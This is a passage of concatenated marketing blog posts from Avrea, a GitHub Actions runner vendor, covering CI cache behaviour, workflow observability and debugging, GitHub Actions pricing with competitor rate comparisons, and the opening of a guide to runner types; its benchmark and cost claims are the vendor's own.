you run or rent | Backend-dependent | Monorepos, compiled languages | | Self-hosted disk | Everything on disk | Your runner | Your disk | You already run the fleet | | Runner-provider backends | All of the above | Co-located with the runner | Provider quota (Avrea: 25 GB/repo included; more available to purchase) | Drop-in speed, no cache service to run | ## FAQ **Is the GitHub Actions cache free?** Up to 10 GB per repository, yes. Organization or repository admins can raise the limit, and storage above 10 GB is billed. Entries unused for 7 days are removed regardless of quota. **How long do GitHub caches last?** Seven days from last access. When a repository exceeds its storage quota, GitHub also deletes caches oldest-access-first. Avrea cache entries unused for more than seven days are eligible for eviction. It includes 25 GB per repository, with additional storage available to purchase, and uses LRU eviction when a repository exceeds its quota. **Can two branches share a cache in GitHub Actions?** Only downward: a run reads caches from its own branch and the default branch, and pull requests read their base branch. Sibling feature branches never share, so new branches warm up from the default branch’s saves. **How do I cache Docker builds in GitHub Actions?** Use buildx with `cache-from` and `cache-to` set to the `type=gha` backend, with `mode=max` if you need intermediate layers from multi-stage builds. On GitHub-hosted runners, watch the 10 GB quota and the cache API’s rate limits. Co-located backends take the same configuration pointed at a different URL. ## Run it twice Duplicate your slowest workflow, change `runs-on: ubuntu-latest` to `runs-on: avrea-ubuntu-latest`, and run it twice. The first run shows the cold speed of the hardware, 2 to 3x across [our published benchmarks](https://avrea.com/blog/fastest-github-actions-runners). The second run shows the restored caches at work, and in those same benchmarks everything above 3x came from cache layers beyond the standard one. For most workflows the test is one runner-label change; Docker layer caching adds the `url_v2` flag from the Docker section, and some build caches take a few lines of tool config. Pay as you go includes a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x86 runners; other metered usage draws on the same credit, and [setup steps are on the Avrea speed page](https://avrea.com/ci-runners). Workflow-level tactics beyond caching are in [how to speed up GitHub Actions](https://avrea.com/blog/speed-up-github-actions). ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/github-actions-observability # GitHub Actions observability: understanding why your CI is slow Use GitHub Actions logs, workflow timing, runner metrics, and cache data to investigate slow jobs, flaky tests, and CI delays. [Blog](https://avrea.com/blog) CI/CD Use GitHub Actions logs, workflow timing, runner metrics, and cache data to investigate slow jobs, flaky tests, and CI delays. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)16 September 2026 When a GitHub Actions workflow slows down or fails intermittently, you need to work out what changed. Step timings and logs can help narrow the investigation, but they may leave questions unanswered: was the job waiting for a runner, downloading dependencies, or running out of memory? GitHub Actions observability means using workflow timings, logs, test results, and runner metrics to explain slow or failed runs. For a long test step, individual test results show which cases took time and whether any retried. CPU and memory measurements from the same interval help you check for resource pressure. ## What GitHub already shows you The workflow run page shows job outcomes and individual step durations. [GitHub Actions logs](https://docs.github.com/en/actions/how-tos/monitor-workflows/use-workflow-run-logs) let you inspect command output, search for errors, and download records for further analysis. On GitHub-hosted runners, the setup log also identifies the runner image and links to its installed software. This helps when a workflow behaves differently without a corresponding YAML change. *The “Set up job” log records runner details. Screenshot from [GitHub Docs](https://docs.github.com/en/actions/how-tos/monitor-workflows/use-workflow-run-logs).* GitHub also provides [aggregate usage and performance metrics](https://docs.github.com/en/actions/concepts/metrics), including average run times, queue times, and failure rates. These views can help identify workflows that consume substantial execution time or fail frequently. Access depends on the relevant repository or organization permissions. Some failures are clear from the logs. Others show the immediate error but leave you investigating what caused it. A missing file, for example, could result from an incorrect path or an earlier artifact download failure. The gaps become more apparent when a step takes longer without producing an error. Dependency installation might involve network delays, cache misses, archive extraction, or compilation during an install script. A long test step could reflect more tests, uneven shards, resource contention, or retries inside the test runner. ## Find out where the time went When someone reports that “CI is slow,” first establish what they measured. The wait between pushing a change and receiving required checks includes execution and any time spent waiting for upstream jobs, approvals, concurrency controls, or an available runner. Queue time and job run time need separate treatment. If a job starts late but executes at its usual speed, investigate scheduling and capacity before changing its build commands. GitHub’s job queue-time metrics provide a baseline. If you calculate your own measurements, define which waiting periods you want to include before choosing the events and timestamps to collect. Subtracting workflow creation time from a downstream job’s start time includes the wait for upstream jobs; it does not isolate runner availability. For a completed job, execution duration is the difference between its started_at and completed_at timestamps. GitHub exposes these fields, along with step timings and runner metadata, through the [workflow jobs API](https://docs.github.com/en/rest/actions/workflow-jobs). A useful baseline consists of several runs with the same runner class, matrix configuration, and similar workload. Job names alone are unreliable: two jobs can share a name while running different operating systems or test suites. Look for the step whose duration changed. Include setup and cleanup: checkout, cache transfer, container startup, and artifact upload can all contribute to the delay. Line up recorded CPU, memory, disk, and network measurements with the slow step’s timestamps. If no measurements were retained, reproduce the problem with monitoring enabled. On self-hosted runners, save host or container measurements alongside the runner identity and job timestamps. For managed runners, check the provider’s per-job history. [Avrea’s job metrics](https://docs.avrea.com/cli/reference/job/#avr-job-metrics) include CPU, memory, network, filesystem, and disk I/O measurements. When cache extraction or a build step slows down, compare its timestamps with these measurements to investigate which resources were busy. Sustained CPU usage warrants examining what the process is computing and whether it can use additional cores. Low aggregate CPU does not rule out a single saturated core. If memory usage rises with the test worker count, rerun with fewer workers and compare peak memory, duration, and failures. On self-hosted runners, also check competing processes and persistent workspace state. For containerized jobs, distinguish container resource limits from the host’s available capacity. When ordinary logs are insufficient, GitHub supports [additional diagnostics](https://docs.github.com/en/actions/how-tos/monitor-workflows/enable-debug-logging) through ACTIONS_STEP_DEBUG and ACTIONS_RUNNER_DEBUG. Use these for a targeted reproduction when you need more detail about action or runner execution. They do not replace resource monitoring or application profiling. With [Avrea’s CLI](https://docs.avrea.com/cli/reference/job/), you can retrieve only the failed steps’ logs or watch a running job’s CPU and memory measurements: Shell ``` avr job logs --failed avr job metrics --watch ``` Replace with the job you are investigating. *CPU and memory measurements during a running job, shown in Avrea’s CLI.* ## A cache hit can still leave you with a slow build Different [GitHub Actions cache types](https://avrea.com/blog/github-actions-cache) save different work. Downloaded packages, installed dependencies, compiler outputs, and Docker layers each avoid different operations. For example, the package-manager caching supported by [actions/setup-node](https://github.com/actions/setup-node#caching-global-packages-data) does not cache node_modules. Restoring it can avoid downloads, but the workflow still needs to install dependencies. Read the cache restore logs alongside the requested key and any matched key. With [actions/cache](https://github.com/actions/cache), cache-hit == ‘true’ indicates an exact match. A value other than ‘true’ does not necessarily mean nothing was restored; a fallback restore may still have supplied useful files. If you expected a hit, check whether the lockfile, toolchain, architecture, or cached paths changed and how those values affect your key. Also check cache scope, eviction, and whether an earlier run successfully saved the entry. GitHub’s [dependency caching reference](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching) explains the matching and access rules. In Avrea, you can [inspect cache entries by repository](https://docs.avrea.com/cache/managing/), including each entry’s type, key, size, hit count, and last-used time. The cache view also shows quota usage. This lets you check whether the entry you expected exists and whether it has been used recently. *Cache entries and storage usage in Avrea. The quota and values shown belong to this example repository. Screenshot from [Avrea Docs](https://docs.avrea.com/cache/managing/).* Consider an illustrative case: dependency installation slows after a package update. The workflow’s cache key includes the lockfile hash. The update produces a new key with no existing entry, so the first run misses the exact cache. That looks like a plausible explanation. Subsequent runs restore the cache successfully but remain slow. The installation log shows a compiler running for a newly added dependency, and CPU activity coincides with that part of the step. The working hypothesis is that native compilation accounts for the additional time. To test it, compare runs before and after the dependency update using the same runner class and a warm package cache. Measure the installation phase and confirm whether the added compilation accounts for the increase. If it does, investigate compatible prebuilt binaries, runtime versions, or safe reuse of compilation outputs. Changing restore keys would not remove compilation that still occurs after the package download is restored. Measure cache transfer time as well. A high hit rate provides little benefit if downloading and extracting the cache takes longer than regenerating its contents. ## Keep the evidence when a test passes on retry A successful rerun can unblock a pull request while leaving the original failure unexplained. Before labeling a test flaky, check where the job failed. Registry outages, unavailable services, and runner failures can also disappear on a rerun. Useful test reports retain every attempt, with the test identifier, parameters, duration, failure output, and retry outcome. The associated commit, runner image, shard, worker count, and random seed provide the details needed to reproduce the failure. The distinction between test retries and workflow reruns matters. A test framework may retry internally and return a successful exit status. GitHub then records a green job even though a test failed on its first attempt. Playwright, for example, [identifies tests that fail initially and pass on retry as flaky](https://playwright.dev/docs/test-retries). Choose one recurring failure and reproduce its recorded conditions before changing the runner or test configuration. Does it fail only with multiple workers? Only after a particular test? Only on one architecture? Does it depend on an external service or a fixed timeout? On a smaller runner, a test may hit its timeout because the machine is under load. Check resource usage during the failed attempt and examine what the test was waiting for before increasing the timeout or runner size. Preserve retry outcomes while you investigate. If you quarantine a test, give it an owner and a clear condition for returning it to the blocking suite. ## Collect metrics you can act on Workflow feedback time, queue time, job and step durations, first-attempt failures, and rerun minutes cover the main questions: how long developers wait, where execution time goes, and how often work repeats. Cache outcomes and runner metrics help explain changes in those numbers. Look at distributions as well as averages. The median describes an ordinary run; p95 shows the duration below which roughly 95% of the measured runs fall. Keep the population explicit. A duration chart containing only successful runs excludes timeouts, which may be the runs you most need to understand. Apply the same care to failure rates. Decide how you treat cancellations, skipped jobs, and retries before comparing workflows. Keep elapsed workflow time separate from total execution minutes. Parallel jobs consume resources simultaneously. The [critical path](https://avrea.com/blog/speed-up-github-actions) (the sequence of dependent jobs and waits that determines completion) controls when the workflow finishes. Shortening a job outside that path may reduce compute usage without making checks arrive sooner. Segment results by workflow, job, runner class, and meaningful matrix dimensions. Otherwise, a shift toward a larger test suite can look like a performance regression in an unchanged job. A frequently used workflow is a manageable starting point. Establish its baseline, investigate a known delay, and compare equivalent runs after the change. ## Do you need OpenTelemetry? You can build useful GitHub Actions observability without OpenTelemetry. Native GitHub views, API records, structured test reports, and runner measurements can answer many of these questions. OpenTelemetry becomes relevant when your organization wants CI data in an existing telemetry platform or needs consistent instrumentation across several CI systems. Its [CI/CD semantic conventions](https://opentelemetry.io/docs/specs/semconv/cicd/) provide a shared vocabulary for pipeline and task signals. Someone also has to collect the data, match it to runs and retries, and maintain the dashboards. That can be a sensible investment for a platform team with an established observability stack. For a team investigating a handful of troublesome workflows, start by checking whether the available logs, test reports, and runner measurements answer the immediate questions. ## Where Avrea fits into the investigation Avrea combines [managed runners with CI diagnostics](https://docs.avrea.com/observability/). Its documented observability features include organization-wide run history, step durations, searchable logs, failure rates, and p50/p95 duration trends for successful runs. Its flake metric flags failed jobs where the same step has succeeded in other runs. Use this to find failures worth investigating. A step can also fail and later succeed because someone fixed a bug, so confirming a flaky test requires comparing individual test outcomes and execution conditions. Some problems are easier to investigate while the environment still exists. Avrea supports [SSH access to an in-progress job](https://docs.avrea.com/debugging/) through the browser or CLI, letting you inspect files, processes, and installed tools. Its debugging documentation specifies that the VM is removed when the job ends, so live inspection needs to happen before then. Try Avrea on a workflow with a recurring slowdown or failure. Use its run history, step logs, and runner measurements to test one explanation, then compare equivalent runs after the change. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/github-actions-pricing # GitHub Actions pricing in 2026 and how to lower your bill What GitHub Actions costs in 2026: per-minute rates for every hosted runner, how the bill is calculated, and the settings and runner choices that lower it. [Blog](https://avrea.com/blog) CI/CD What GitHub Actions costs in 2026: per-minute rates for every hosted runner, how the bill is calculated, and the settings and runner choices that lower it. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)2 October 2026 GitHub Actions is free on public repositories with standard runners. For private repositories, runner costs draw from the plan's included compute allowance, then add to your bill. Standard rates are $0.006 per minute for 2-core Linux x64, $0.010 for Windows and $0.062 for macOS. Those rates have applied since January 1, 2026, when GitHub cut hosted-runner prices by up to 39%. After the included allowance, runner charges depend on each job’s runtime, rounded up to a whole minute, and the runner’s rate. To lower the bill, start by canceling outdated runs and cutting retries, check that each job is on the cheapest runner that can do it, and then compare what the same workflow costs on another provider. ## Free usage and included compute GitHub doesn’t charge for: - standard GitHub-hosted runners in public repositories - jobs on self-hosted runners in any repository, public or private (you pay for the machines, not for Actions) - GitHub Pages and Dependabot jobs on standard runners GitHub plans include a monthly dollar allowance for compute. Private and internal repository runners share it with cloud sandbox compute and memory. | Plan | Included compute per month | Artifact storage | Cache storage per repository | | --- | --- | --- | --- | | GitHub Free (personal accounts and organizations) | $12 | 500 MB | 10 GB | | GitHub Pro | $18 | 1 GB | 10 GB | | GitHub Team | $18 | 2 GB | 10 GB | | GitHub Enterprise Cloud | $300 | 50 GB | 10 GB | The allowance resets each billing cycle. It covers standard runners in private and internal repositories, plus eligible larger runners on Team and Enterprise Cloud. Larger runners are still charged in public repositories. Without a payment method, usage stops when the allowance runs out; larger runners require a payment method. With one, additional usage is billed unless a [budget](https://docs.github.com/en/billing/how-tos/set-up-budgets) is set to stop it. Usage is charged to the owner of the repository, not to the person who triggered the run. Each runner uses the allowance at its listed rate. Ten minutes on standard Linux x64 uses $0.06; ten minutes on standard Windows uses $0.10. The Team plan’s $18 covers 3,000 standard Linux x64 minutes if no other eligible compute uses it. Source: [GitHub Actions billing](https://docs.github.com/en/billing/concepts/product-billing/github-actions), checked October 2, 2026. ## GitHub-hosted runner pricing Standard runners are what you get from labels such as `ubuntu-latest`, `windows-latest` and `macos-latest`. | Standard runner | Per minute | | --- | --- | | Linux 1-core (x64) | $0.002 | | Linux 2-core (x64) | $0.006 | | Linux 2-core (arm64) | $0.005 | | Windows 2-core (x64 or arm64) | $0.010 | | macOS 3-core or 4-core (M1 or Intel) | $0.062 | [Larger runners](https://docs.github.com/en/actions/concepts/runners/larger-runners) are available on the Team and Enterprise Cloud plans and are priced by core count. The table shows 4 cores and up. | Cores | Linux x64 | Linux arm64 | Windows x64 | Windows arm64 | | --- | --- | --- | --- | --- | | 4 | $0.012 | $0.008 | $0.022 | $0.014 | | 8 | $0.022 | $0.014 | $0.042 | $0.026 | | 16 | $0.042 | $0.026 | $0.082 | $0.050 | | 32 | $0.082 | $0.050 | $0.162 | $0.098 | | 64 | $0.162 | $0.098 | $0.322 | $0.194 | | 96 | $0.252 | not offered | $0.552 | not offered | | Other larger runners | Per minute | | --- | --- | | macOS 12-core | $0.077 | | macOS 5-core (M2 Pro) | $0.102 | | Linux 4-core GPU | $0.052 | | Windows 4-core GPU | $0.102 | Source: GitHub’s [Actions runner pricing reference](https://docs.github.com/en/billing/reference/actions-runner-pricing), checked October 2, 2026. From 4 to 64 cores, the Linux x64 rate works out to $0.002 plus $0.0025 per core, which is why doubling the cores doesn’t quite double the price. Linux arm64 follows the same pattern at $0.0015 per core and Windows x64 at $0.005. The flat $0.002 matches the platform charge that GitHub says is included in every hosted-runner rate. ## How billed minutes are calculated GitHub rounds every job up to the next whole minute. The rounding is per job, not per workflow run, so the number of jobs matters as well as how long they take. Take a workflow with three jobs on standard Linux runners. The durations are invented to show the arithmetic. | Job | Runs for | Billed | | --- | --- | --- | | lint | 40 s | 1 min | | unit tests | 6 min 20 s | 7 min | | build | 3 min 5 s | 4 min | The run used 10 minutes 5 seconds of runner time and is billed as 12 minutes. Now split the unit tests into four parallel shards. The pull request gets its result sooner, but each shard repeats the checkout and the dependency install, and each one is rounded up separately. If the shards take 2 minutes 10 seconds each, that’s four jobs billed at 3 minutes. The tests used to cost 7 billed minutes and now cost 12. At 30 runs a working day, the original workflow uses about 7,560 billed minutes a month (30 runs, 21 days, 12 minutes). At $0.006 per minute, that is $45.36 of compute. If the Team plan’s $18 allowance is otherwise unused, the bill is $27.36. A job that fails is still billed for the time it ran, and so is every re-run. GitHub’s own example is a 10-minute workflow that fails after 5 minutes and then succeeds on a re-run, which comes to 15 billed minutes. ## Storage pricing | Storage | Per GB per month, beyond the included amount | | --- | --- | | Artifacts and GitHub Packages (shared allowance) | $0.25 | | Actions cache | $0.07 | | Custom images for larger runners | $0.07 | GitHub measures storage every hour and bills the GB-hours accumulated over the month. Deleting artifacts stops further charges, but the hours already accrued stay on the bill. Artifacts are kept for 90 days unless you say otherwise, so a shorter `retention-days` on uploads that nobody opens after the run is the simplest saving. The cache is counted separately. Each repository gets 10 GB, and GitHub [evicts older entries](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching) when a repository reaches its limit. You’re charged only if an administrator has raised the limit above 10 GB, and then for the usage above 10 GB, measured at each hour’s peak. Custom image storage has its own allowance: 75 GB on Team and 150 GB on Enterprise Cloud. ## Self-hosted runner pricing GitHub charges no Actions fee for jobs on [self-hosted runners](https://docs.github.com/en/actions/concepts/runners/self-hosted-runners), in public or private repositories. It came close to changing that. On December 16, 2025, GitHub [announced two changes](https://github.blog/changelog/2025-12-16-coming-soon-simpler-pricing-and-a-better-experience-for-github-actions/). Hosted-runner prices would drop on January 1, 2026, and from March 1, 2026 a $0.002 per minute “cloud platform charge” would apply to self-hosted runner usage in private repositories. The next day GitHub added an update saying it was “postponing the announced billing change for self-hosted GitHub Actions”. The price cut went ahead as planned. As of October 2026, GitHub hasn’t announced a new date. ## Third-party runner pricing Several companies run GitHub Actions jobs on their own machines. GitHub still schedules the workflow, and you pay the provider for the minutes instead. Our [guide to GitHub Actions runners](https://avrea.com/blog/github-actions-runners) covers how hosted, self-hosted and third-party runners differ. These are list prices for each provider’s 2 vCPU Linux runners and its smallest macOS and Windows runners. Our [runner pricing comparison](https://avrea.com/alternatives#runner-pricing-at-a-glance) puts minute rates, monthly plan fees and included usage side by side. | Provider | Linux x64, 2 vCPU | Linux arm64, 2 vCPU | macOS | Windows | Included usage per month | | --- | --- | --- | --- | --- | --- | | GitHub-hosted | $0.006 | $0.005 | $0.062 (3 or 4 cores) | $0.010 (2 cores) | $12 to $300 of shared compute credit, by plan | | Avrea | $0.004 | $0.012 (M5 Max) | $0.08 (8 vCPU, M5 Max) | $0.008 (2 vCPU) | 3,000 free minutes, counted in 2 vCPU Linux x64 minutes | | Blacksmith | $0.004 | $0.0025 | $0.08 (6 vCPU, M4) | $0.008 (2 vCPU, public beta) | 3,000 free minutes, counted in 2 vCPU Linux x64 minutes | | Depot | $0.006 | $0.006 | $0.08 (8 vCPU; $200 plan or higher) | $0.008 (2 vCPU) | No free tier; 2,000 minutes in the $20 single-user plan, 20,000 in the $200 plan | | Namespace | $0.002 to $0.004 prepaid, $0.003 to $0.006 overage (4 GB to 8 GB) | same as x64 | $0.04 prepaid, $0.06 overage (4 vCPU) | $0.004 prepaid, $0.006 overage (2 vCPU, 4 GB; $100 plan or higher) | No free minutes; 100,000 unit-minutes in the $100 plan | Some of these don’t reduce to one number. Namespace bills in unit-minutes: one unit is 1 vCPU with 2 GB of memory for a minute, at $0.001 on a prepaid plan or $0.0015 in overage, so a 2 vCPU runner with 4 GB counts as two units and one with 8 GB as four. Depot has no free tier: plans start at $20 a month for one user and $200 a month for a team. RunsOn isn’t in the table because it’s software you run in your own AWS account: you pay an annual license, from €300, and AWS bills you for the instances. Free minutes are not plain minutes either. Blacksmith and Avrea both count them in 2 vCPU Linux x64 minutes, so other runners use them faster: Blacksmith’s 3,000 are 1,500 minutes on Windows or 150 on macOS, and Avrea’s are 1,500 on Windows, 1,000 on ARM or 150 on macOS. Cache storage is priced by product, so the plans don’t line up neatly. Avrea includes 25 GB per repository at no charge for its GitHub Actions, Git LFS, build and regular package caches, with more storage available to purchase. Private Swift package payloads use separate organization storage. [Avrea persistent disks](https://docs.avrea.com/persistent-disks/) are also billed separately, at $0.50 per provisioned GB per month. Blacksmith’s GitHub Actions cache also includes 25 GB per repository at no charge, and its Docker layer caching is an add-on at $0.50 per GB a month. Depot includes 25 GB of cache and registry storage with its $20 plan and 250 GB with its $200 plan, then charges $0.20 per GB a month. Namespace prices each cache separately: $0.20 per GB a month for its Turborepo, Gradle and Bazel caches and $0.0048 per GB a day for cache volumes plus $0.002 per GB-hour while a volume is attached, with allowances for both on its paid plans. For a breakdown of runner rates, plan fees and caching costs, see [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith) and [Avrea vs Depot](https://avrea.com/avrea-vs-depot). The [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild) and [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud) comparisons cover their runner rates, included usage and cache charges in detail. The machines behind these prices are not the same. Avrea’s ARM and macOS runners are Apple M5 Max machines, and its ARM rate reflects that. A 2 vCPU runner at one provider can finish a build in half the time it takes at another, so the price of a minute tells you less than the price of a job. Our [runner benchmark comparison](https://avrea.com/blog/fastest-github-actions-runners) shows how far apart they are. Sources: the pricing pages and documentation of [Blacksmith](https://www.blacksmith.sh/pricing), [Depot](https://depot.dev/pricing), [Namespace](https://namespace.so/pricing) and [RunsOn](https://runs-on.com/pricing/), checked October 2, 2026. ## When GitHub-hosted runners are the cheaper choice Standard runners are free for public repositories. For private repositories, the Team plan’s $18 allowance covers 250 runs of the 12-minute standard Linux workflow above, provided no other eligible compute uses the credit. Usage within that allowance has no additional runner charge. A third-party runner can lower the bill when the same jobs cost less after allowances, rounding and any plan fees. Faster feedback can also be worth paying for even when GitHub’s compute allowance covers your current usage. ## How to lower your GitHub Actions bill ### Find where the minutes go The [usage page](https://docs.github.com/en/billing/how-tos/products/view-productlicense-use) under Billing and licensing in your GitHub settings breaks usage down by SKU and by repository. Look at it before changing anything. A bill that is mostly macOS minutes needs a different fix from one where a single repository runs a long test suite on every push. Once you know which workflows cost the most, our [GitHub Actions observability guide](https://avrea.com/blog/github-actions-observability) covers how to find the slow steps inside them. ### Combine very short jobs Three 15-second checks cost 3 billed minutes as separate jobs and 1 minute as steps in a single job. Test shards work the same way, as the example above showed. Add shards until the wait is acceptable and stop there. ### Cut failed runs and retries Put cheap checks in front of expensive ones. In the three-job workflow from earlier, adding `needs: lint` to the test and build jobs means a formatting error costs 1 billed minute, not 12. Tests start later on every run in exchange, so this pays off where lint failures are common. A job that fails one run in ten for no reason costs about a tenth more, because every re-run is charged in full. When you do re-run, use [“Re-run failed jobs”](https://docs.github.com/en/actions/how-tos/manage-workflow-runs/re-run-workflows-and-jobs), which re-runs the failed jobs and any jobs that depend on them, not the whole workflow. Set `timeout-minutes` a little above each job’s normal duration. Without it, a hung job runs for 360 minutes before GitHub cancels it, which on a 16-core Linux runner is about $15. Leave `fail-fast` on in matrix builds. It is the default, and it cancels the rest of the matrix when one job fails. Setting it to `false` shows you every failure and bills you for every job. Runs that a newer push has made irrelevant are the same kind of cost. `concurrency` with `cancel-in-progress: true` [cancels them](https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/control-workflow-concurrency). ### Use the cheapest runner that fits the job Light jobs can run on the [1-core runner](https://docs.github.com/en/actions/reference/runners/github-hosted-runners). `ubuntu-slim` costs $0.002 a minute, a third of the standard Linux rate. It runs in a container, has a 15-minute job limit and can’t run Docker-in-Docker, so it suits labeling, triage and other short automation jobs, not builds. Linux on arm64 is cheaper than Linux on x64. `ubuntu-24.04-arm` costs $0.005 a minute against $0.006, which is worth having for a workload that doesn’t depend on the architecture, such as a Node or Python test suite with no native x64 dependencies. Keep macOS and Windows for the jobs that need them. A macOS minute costs about ten times a Linux minute, so linting and platform-independent tests belong on Linux. A larger runner pays off when it cuts the billed time by more than its higher rate, or when the job needs the extra memory or disk. The 8-core Linux runner costs 3.7 times the 2-core rate, so on compute alone a job has to finish more than 3.7 times faster to cost less. ## What the same workflow costs on Avrea The changes above remove minutes you didn’t need. The minutes that remain are the builds and tests themselves, and their cost comes down to two numbers: how long the job runs and what the runner costs per minute. A different runner can change both. Avrea is our runner service for GitHub Actions. Jobs run on Avrea’s machines. You keep defining workflows and storing secrets in GitHub, and as on any runner, a job receives the secrets it references while it runs. You [install the GitHub App](https://docs.avrea.com/getting-started/) and change the [runner label](https://docs.avrea.com/runners/), and the [migration wizard](https://console.avrea.com/convert) can open that pull request for you: ``` jobs: test: runs-on: avrea-ubuntu-latest # was ubuntu-latest ``` ### Avrea’s rates next to GitHub’s | Runner | GitHub-hosted | Avrea | | --- | --- | --- | | Linux x64, 2 vCPU | $0.006 | $0.004 | | Linux x64, 4 vCPU | $0.012 | $0.008 | | Linux x64, 8 vCPU | $0.022 | $0.016 | | Linux x64, 16 vCPU | $0.042 | $0.032 | | Linux x64, 32 vCPU | $0.082 | $0.064 | | Linux arm64, 2 vCPU | $0.005 | $0.012 | | Windows, 2 vCPU | $0.010 | $0.008 | | Windows, 4 vCPU | $0.022 | $0.016 | | macOS | $0.062 (3 or 4 cores, M1 or Intel), $0.102 (5 cores, M2 Pro) | $0.08 (8 vCPU, M5 Max) | Sources: GitHub’s [Actions runner pricing reference](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [avrea.com/pricing](https://avrea.com/pricing), checked October 2, 2026. From 2 vCPU up, Avrea’s Linux x64 and Windows runners cost 20 to 33% less per minute than the GitHub runner of the same size. Avrea also bills each job for the seconds it ran, rounded down, with no minimum, where GitHub rounds each job up to a whole minute. The three-job workflow from earlier ran for 10 minutes 5 seconds and was billed as 12 minutes on GitHub, which is 7.2 cents. At the same durations on Avrea it costs about 4 cents. There is no monthly base fee. Eligible organizations receive a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x64 runners. Other runner types, static IPs and persistent disks draw on the same credit; the [billing guide](https://docs.avrea.com/billing/#free-monthly-minutes) explains eligibility and usage. Each repository includes 25 GB of regular cache storage. ### Why jobs finish sooner on Avrea Compiling, linking and running tests depend mostly on single-core speed and on how fast the runner reads and writes files. Avrea’s runners are built around those two things, and around keeping caches close. The Linux x64 and Windows runners use dedicated bare-metal AMD EPYC processors chosen for single-thread performance. In [our Linux kernel benchmark](https://avrea.com/blog/linux-kernel-ci-benchmark), Avrea’s 2 vCPU runner scored about 6,500 in single-core sysbench and GitHub’s 2-core runner about 3,700. The disks are local NVMe. On the same two runners, disk writes ran at about 4 GB/s on Avrea and about 220 MB/s on GitHub, which shows up in dependency installs, cache restores and any build that writes thousands of small files. The [caches](https://docs.avrea.com/cache/overview/) run on the same infrastructure as the runners, so a restore reads from storage in the same datacenter instead of a remote storage service. `actions/cache` (v4 and later) and the setup actions work unchanged; in [our cache benchmark](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster), restoring a 1 GB cache took 14 seconds on GitHub and 2.9 seconds on Avrea. Package managers resolve through a local proxy, and build tools such as Go, Bazel and Gradle are preconfigured to use a remote build cache. The kernel benchmark shows what that adds up to. The same build on the same 2 vCPU runner size took 27 minutes 23 seconds on GitHub and 9 minutes 3 seconds on Avrea with no cache, and 24 seconds with a warm ccache. At list prices that is 16.8 cents of runner time on GitHub, about 3.6 cents on Avrea, and about 0.2 cents with the cache. These are the build times the post reports, so treat the costs as estimates, not invoice lines. Our case studies report what customers measured after moving their GitHub Actions jobs to Avrea. [Teamspective](https://avrea.com/case-studies/teamspective)’s median CI run went from 10 minutes to 4.5. [Luo](https://avrea.com/case-studies/luo)’s build stage went from 9 minutes 18 seconds to 3 minutes 5 seconds. [PromoRepublic](https://avrea.com/case-studies/promorepublic)’s went from about 4 minutes to 42 seconds. Not every workflow speeds up. A build that spends most of its time waiting on an external service takes about as long on any runner. For caching on any runner, see [A guide to GitHub Actions caching](https://avrea.com/blog/github-actions-cache) and [How to speed up GitHub Actions](https://avrea.com/blog/speed-up-github-actions). ### macOS and ARM runners On macOS, the 8 vCPU M5 Max runner costs $0.08 a minute. GitHub’s standard runner, a 3 vCPU M1 on `macos-26`, costs $0.062, and its 5-core M2 Pro runner costs $0.102. In [our iOS and macOS benchmark](https://avrea.com/blog/ios-macos-ci-benchmark), with caches turned off, the M5 Max ran eleven builds of nine open-source apps 3.6 to 6.9 times faster than the standard runner and about twice as fast as the M2 Pro. The Firefox for iOS test build took 747.6 seconds on GitHub’s standard runner and 139.6 seconds on Avrea. Prorated at list prices, that build step is about 77 cents on GitHub and 19 cents on Avrea. These are build-step times, not whole jobs, so an invoice would differ. The ARM Linux runners use the same [M5 Max](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon) chip, which has some of the fastest single-thread performance of any ARM processor. At 2 vCPU they cost $0.012 a minute against $0.005 for GitHub’s ARM runner, so a job that finishes about 2.4 times faster costs roughly the same on both, before rounding and free minutes, and anything beyond that is a saving. The break-even is higher on larger sizes. ### Try it on one workflow Copy one workflow file, give it the Avrea label and push it on a branch. It runs next to your existing CI on the same commits, so you can compare job durations and cost directly. The console shows [CPU and memory for each job](https://avrea.com/observability), which also tells you whether the job needs the runner size it’s on. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/github-actions-runners # Guide to GitHub Actions Runners: Hosted, Self-Hosted, and Third-Party Options Hosted, self-hosted, or third-party GitHub Actions runners? A practical breakdown of the tradeoffs, real costs, and how to choose, written for engineers. [Blog](https://avrea.com/blog) CI/CD Hosted, self-hosted, or third-party GitHub Actions runners? A practical breakdown of the tradeoffs, real costs, and how to choose, written for engineers. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)30 June 2026 `runs-on: ubuntu-latest` looks like a small config line, but it decides more than most teams realize: what hardware your jobs run on, how fast caches restore, and how much visibility you get when something breaks. Workflow tweaks help, but the runner underneath still sets the ceiling. There are three main runner models behind that label: GitHub-hosted runners, self-hosted runners on your own infrastructure, and third-party managed runners that drop into the same workflow. Teams often ask how these options differ, so this post breaks down the tradeoffs. ### TL;DR - Three options behind `runs-on`: **GitHub-hosted** (commodity hardware, zero ops, a black box when it fails), **self-hosted** 